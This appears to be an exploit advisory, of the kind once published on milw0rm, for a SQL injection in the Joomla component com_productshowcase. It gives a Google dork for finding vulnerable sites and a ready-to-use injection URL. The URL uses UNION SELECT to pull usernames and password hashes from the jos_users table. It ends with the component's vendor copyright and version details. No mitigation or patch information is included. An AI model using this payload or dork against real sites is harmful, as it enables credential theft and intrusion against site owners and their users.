########################################## # # Joomla Component com_productshowcase SQL Injection # ########################################## # ##AUTHOR : S@BUN # ####HOME : http://www.milw0rm.com/author/1334 ####HOME : http://securityreason.com/search/101/c0BidW4=/1/0 # ####MAİL : hackturkiye.hackturkiye@gmail.com # ########################################### # # DORKS 1 : allinurl :"com_productshowcase" # ########################################### EXPLOIT : index.php?option=com_productshowcase&Itemid=S@BUN&action=details&id=-99999/**/union/**/select/**/0,concat(username,0x3a,password),concat(username,0x3a,password),0,0,0,0,0,1,1,1,1,2,3,4,5/**/from/**/jos_users/* ########################################### ##################S@BUN################## ########################################### #####hackturkiye.hackturkiye@gmail.com####### ########################################### ProductShowcase 10 July 2006 Numa Technologies Corporation Copyright ©2006 Numa Technolgies Corporation. All Rights Reserved Worldwide. scott@numacorp.com www.numacorp.com 1.5 A Simple Product Gallery. 1.4 << as well.